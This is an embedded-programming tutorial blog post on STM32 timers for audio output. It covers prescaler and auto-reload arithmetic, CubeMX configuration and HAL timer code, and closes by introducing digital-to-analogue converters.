&lt;div class=&quot;alert alert-secondary d-flex align-items-start&quot;&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;This post is much longer than I expected. My suggested approach of reading is to first gain a high-level understanding (possibly skipping the nitty gritty examples), then dig into the examples for details.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;timers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#timers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Timers ⏰&lt;/h2&gt;
&lt;p&gt;It turns out kitchens and embedded systems aren’t that different after all! Both perform input and output, and both have timers! Who knew?&lt;/p&gt;
&lt;!-- Tick-Tock Croc, perhaps.^[I think it&#39;s safe to say that Tick-Tock Croc also performs input-output and has a timer between his eyes. So Tick-Tock isn&#39;t too different from a kitchen! Or an embedded controller, for that matter.] --&gt;
&lt;!-- &lt;a class=&quot;lightbox-single&quot; title=&quot;Tick tock likey embedded timers?&quot; href=&quot;/img/posts/programming/digital-audio-synthesis/assets/tick-tock-600w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;/img/posts/programming/digital-audio-synthesis/assets/tick-tock-600w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 600 / 450&quot; alt=&quot;Meme with tick tock croc from Peter Pan preferring embedded timers over kitchen timers.&quot; title=&quot;Tick tock likey embedded timers?&quot; srcset=&quot;/img/posts/programming/digital-audio-synthesis/assets/tick-tock-256w.webp 256w, /img/posts/programming/digital-audio-synthesis/assets/tick-tock-512w.webp 512w, /img/posts/programming/digital-audio-synthesis/assets/tick-tock-600w.webp 600w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 600px&quot; /&gt;&lt;/a&gt; --&gt;
&lt;!-- &lt;br/&gt;   --&gt;
&lt;h3 id=&quot;tick-tock&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#tick-tock&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Tick Tock&lt;/h3&gt;
&lt;p&gt;Timers in embedded systems are similar to those in the kitchen: they tick for a period of time and signal an event when finished. However, embedded timers are much fancier than kitchen timers, making them immensely useful in various applications. They can trigger repeatedly (via auto-reload), count up/down, and be used to generate rectangular (PWM) waves.&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Timers can be used to count at regular intervals.&quot; href=&quot;https://trebledj.me/img/timer-548w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/timer-548w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 548 / 306&quot; alt=&quot;Timers can be used to count at regular intervals.&quot; title=&quot;Timers can be used to count at regular intervals.&quot; srcset=&quot;https://trebledj.me/img/timer-256w.webp 256w, https://trebledj.me/img/timer-512w.webp 512w, https://trebledj.me/img/timer-548w.webp 548w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 548px&quot; /&gt;&lt;/a&gt;
&lt;sup&gt;Timers have various applications, such as to count signals. (Source: EmbeddedTutor&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;So what makes timers tick?&lt;/p&gt;
&lt;p&gt;The &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Microcontroller Unit. No, not the Marvel Cinematic Universe!&quot;&gt;MCU&lt;/abbr&gt; clock!&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The MCU clock is the &lt;em&gt;backbone&lt;/em&gt; of a controller. It controls the processing speed and pretty much everything!—timers, ADC, DAC, communication protocols, and whatnot. The signal itself is generated by an oscillator, typically a Quartz &lt;a href=&quot;https://www.electronics-tutorials.ws/oscillator/crystal.html&quot;&gt;crystal oscillator&lt;/a&gt; which is capable of generating high, stable, self-sustaining frequencies.&lt;/p&gt;
&lt;p&gt;The clock runs at a fixed frequency (168MHz on our board).
By dividing against it, we can achieve lower frequencies.&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/prescaler-420w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/prescaler-420w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 420 / 119&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/prescaler-256w.webp 256w, https://trebledj.me/img/prescaler-420w.webp 420w&quot; sizes=&quot;(max-width: 256px) 256px, 420px&quot; /&gt;&lt;/a&gt;
&lt;sup&gt;By using different prescalers, we can scale down the frequency according to our needs. (Source: EmbeddedTutor&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn2&quot; id=&quot;fnref2:1&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The following diagram illustrates how the clock signal is divided on an STM. There are two divisors: the prescaler and auto-reload (aka counter period).&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Timing diagram of timer signal derived from a clock signal. We begin with the clock signal, which is divided at multiple points: first divided by the prescaler, then by the auto-reload.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 487&quot; alt=&quot;Timing diagram of timer signal derived from a clock signal. We begin with the clock signal, which is divided at multiple points: first divided by the prescaler, then by the auto-reload.&quot; title=&quot;Timing diagram of timer signal derived from a clock signal. We begin with the clock signal, which is divided at multiple points: first divided by the prescaler, then by the auto-reload.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;How a timer frequency is derived from the clock signal. (Diagram adapted from uPesy.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Here, the clock signal is first divided by a prescaler of 2, then further &amp;quot;divided&amp;quot; by an auto-reload of 6. On every overflow (arrow shooting up), the timer triggers an &lt;em&gt;interrupt&lt;/em&gt;. In this case, the timer runs at $&#92;frac{1}{12}$ the speed of the clock.&lt;/p&gt;
&lt;p&gt;These interrupts can trigger functionality such as DMA transfers (explored later) and ADC conversions.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;
Heck, they can even be used to trigger other timers!&lt;/p&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.upesy.com/blogs/tutorials/how-works-timers-in-micro-controllers&quot;&gt;How do microcontroller timers work?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digikey.com/en/maker/projects/getting-started-with-stm32-timers-and-timer-interrupts/d08e6493cefa486fb1e79c43c0b08cc6&quot;&gt;Getting Started with STM32: Timers and Timer Interrupts&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;There are more prescalers behind the scenes! (APB2)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;example-initialising-the-timer&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-initialising-the-timer&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Initialising the Timer&lt;/h3&gt;
&lt;p&gt;Suppose we want to send a stream of audio output. We can use a timer with a frequency set to our desired &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#sampling&quot;&gt;sample rate&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can derive the prescaler (PSC) and auto-reload (ARR) by finding integer factors that satisfy the following relationship.&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;timer-relationship&quot;&gt;&lt;/a&gt;
$$
&#92;text{freq}_&#92;text{timer} = &#92;frac{&#92;text{freq}_&#92;text{clock}}{(&#92;text{PSC} + 1) &#92;times (&#92;text{ARR} + 1)}
$$&lt;/p&gt;
&lt;p&gt;where $&#92;text{freq}_&#92;text{timer}$ is the timer frequency (or specifically in our case, the sample rate), $&#92;text{freq}_&#92;text{clock}$ is the clock frequency.&lt;/p&gt;
&lt;p&gt;On our STM32F405, we configured $&#92;text{freq}_&#92;text{clock}$ to the maximum possible speed: 168MHz. If we’re aiming for an output sample rate of 42,000Hz, we’d need to divide our clock signal by 4,000, so that we correctly get $&#92;frac{168,000,000}{4,000} = 42,&#92;!000$. For now, we’ll choose register values of &lt;code&gt;PSC = 0&lt;/code&gt; and &lt;code&gt;ARR = 3999&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Why do we add $+1$ to the PSC and ARR in the relationship above?&lt;/p&gt;
&lt;p&gt;On the STM32F4, PSC and ARR are 16-bit &lt;em&gt;registers&lt;/em&gt;, meaning they range from 0 to 65,535.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;
To save space and enhance program correctness, we assign meaningful behaviour to the value 0.&lt;/p&gt;
&lt;p&gt;So in this page, when we say &lt;code&gt;PSC = 0&lt;/code&gt;, we actually mean a prescaler divisor of 1.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Why &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;3999&lt;/code&gt; specifically?&lt;/p&gt;
&lt;p&gt;Other pairs of PSC and ARR can also work. We can &lt;em&gt;choose&lt;/em&gt; any PSC and ARR which get us to our desired timer frequency. Play around and try different pairs of PSC and ARR!&lt;/p&gt;
&lt;p&gt;Exercises for the reader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What is the difference between different pairs, such as &lt;code&gt;PSC = 0&lt;/code&gt;, &lt;code&gt;ARR = 3999&lt;/code&gt; vs. &lt;code&gt;PSC = 1&lt;/code&gt;, &lt;code&gt;ARR = 1999&lt;/code&gt;? (Hint: &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;counter&lt;/span&gt;.)&lt;/li&gt;
&lt;li&gt;Is there a PSC/ARR pair that is &amp;quot;better&amp;quot;?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can use &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;a GUI for configuring STM hardware&quot;&gt;STM32 CubeMX&lt;/abbr&gt; to initialise timer parameters. CubeMX allows us to generate code from these options, handling the conundrum of modifying the appropriate registers.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Timer settings from CubeMX.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-2278w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-2278w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2278 / 1288&quot; alt=&quot;Timer settings from CubeMX.&quot; title=&quot;Timer settings from CubeMX.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-2278w.webp 2278w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2278px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;In CubeMX, we first select a timer on the left. We then enable a channel (here Channel 4) to generate PWM.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn7&quot; id=&quot;fnref7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt; We also set the prescaler and auto-reload so that our timer frequency is 42,000Hz.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;More timer settings from CubeMX.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-1716w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-1716w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1716 / 784&quot; alt=&quot;More timer settings from CubeMX.&quot; title=&quot;More timer settings from CubeMX.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-1716w.webp 1716w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1716px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Some other settings in CubeMX to check.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Remember to generate code once done.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn9&quot; id=&quot;fnref9&quot;&gt;9&lt;/a&gt;&lt;/sup&gt; CubeMX should generate the following code in &lt;code&gt;main.c&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;MX_TIM8_Init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// --snip-- Initialise structs. --snip--&lt;/span&gt;

    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Instance               &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TIM8&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Prescaler         &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CounterMode       &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TIM_COUNTERMODE_UP&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Period            &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ClockDivision     &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TIM_CLOCKDIVISION_DIV1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;RepetitionCounter &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;AutoReloadPreload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TIM_AUTORELOAD_PRELOAD_DISABLE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; HAL_OK&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;Error_Handler&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;// --snip-- Initialise the clock source. --snip--&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_TIM_PWM_Init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; HAL_OK&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;Error_Handler&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;// --snip-- Initialise other things. --snip--&lt;/span&gt;
    
    &lt;span class=&quot;token function&quot;&gt;HAL_TIM_MspPostInit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After initialisation, it&#39;s possible to change the timer frequency by setting the prescaler and auto-reload registers like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;TIM8&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;PSC &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Prescaler: 1&lt;/span&gt;
TIM8&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;ARR &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3999&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Auto-Reload: 4000&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is useful for applications where the frequency is dynamic (e.g. playing music with a piezoelectric buzzer), but it&#39;s also useful when we&#39;re too lazy to modify the .ioc file.&lt;/p&gt;
&lt;h3 id=&quot;example-playing-with-timers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-playing-with-timers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Playing with Timers&lt;/h3&gt;
&lt;p&gt;STM’s HAL library provides ready-made functions to interface with hardware.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Start the timer.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Stop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// Stop the timer.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;These functions are used to start/stop timers for basic timing and counting applications.
Functions for more specialised modes (e.g. PWM) are available in &lt;code&gt;stm32f4xx_hal_tim.h&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;digital-to-analogue-converters-dacs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#digital-to-analogue-converters-dacs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Digital-to-Analogue Converters (DACs) 🌉&lt;/h2&gt;
&lt;p&gt;Let&#39;s delve into our second topic today: digital-to-analogue converters (DACs).&lt;/p&gt;
&lt;p&gt;Audio comes in several forms: sound waves, electrical voltages, and binary data.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Tolkien&#39;s world looks nothing like the three realms here.&quot; href=&quot;https://trebledj.me/img/1200px-CPT-Sound-ADC-DAC.svg-1200w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/1200px-CPT-Sound-ADC-DAC.svg-1200w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1200 / 414&quot; alt=&quot;Image showing how audio is represented in the analogue, electronic, and digital worlds.&quot; title=&quot;Tolkien&#39;s world looks nothing like the three realms here.&quot; srcset=&quot;https://trebledj.me/img/1200px-CPT-Sound-ADC-DAC.svg-256w.webp 256w, https://trebledj.me/img/1200px-CPT-Sound-ADC-DAC.svg-512w.webp 512w, https://trebledj.me/img/1200px-CPT-Sound-ADC-DAC.svg-1024w.webp 1024w, https://trebledj.me/img/1200px-CPT-Sound-ADC-DAC.svg-1200w.webp 1200w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1200px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Audio manifests in various forms. DACs transform our signal from the digital realm to the analogue world. (Source: Wikimedia Commons.)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Since representations vastly differ, hence the need for interfaces to bridge the worlds. Between the digital and analogue realms, we have DACs and &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Analogue-to-Digital Converters&quot;&gt;ADCs&lt;/abbr&gt; as mediators. Generally, DACs are used for output while ADCs are for input.&lt;/p&gt;
